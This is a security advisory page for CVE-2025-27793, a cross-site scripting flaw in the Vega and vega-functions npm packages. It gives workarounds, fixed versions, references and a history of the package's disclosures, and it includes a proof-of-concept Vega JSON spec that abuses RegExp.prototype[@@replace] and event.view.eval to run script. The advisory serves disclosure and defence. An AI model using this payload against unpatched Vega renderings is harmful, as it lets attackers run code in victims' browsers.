Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
Workarounds
- Use
vegawith expression interpreter - Upgrade to a newer Vega version (
5.32.0)
POC Summary
Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vega | < 5.32.0 | 5.32.0 |
| npm package | vega-functions | < 5.17.0 | 5.17.0 |
References
- https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf
- https://nvd.nist.gov/vuln/detail/CVE-2025-27793
- https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966
- https://github.com/vega/vega
- https://github.com/vega/vega/releases/tag/v5.32.0
- https://vega.github.io/vega/usage/interpreter
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Weakness (CWE)
CWE-79, CWE-87- Platform
- npm
- Package
vega, vega-functions- Disclosed
- 27.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-963h-3v39-3pqf - CC BY 4.0
Vulnerability history: vega
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 12.2020 11.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 6
- Low 1
Disclosures per year
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 3
- 2024: 0
- 2025: 4
- 2026: 0
-
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace] this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.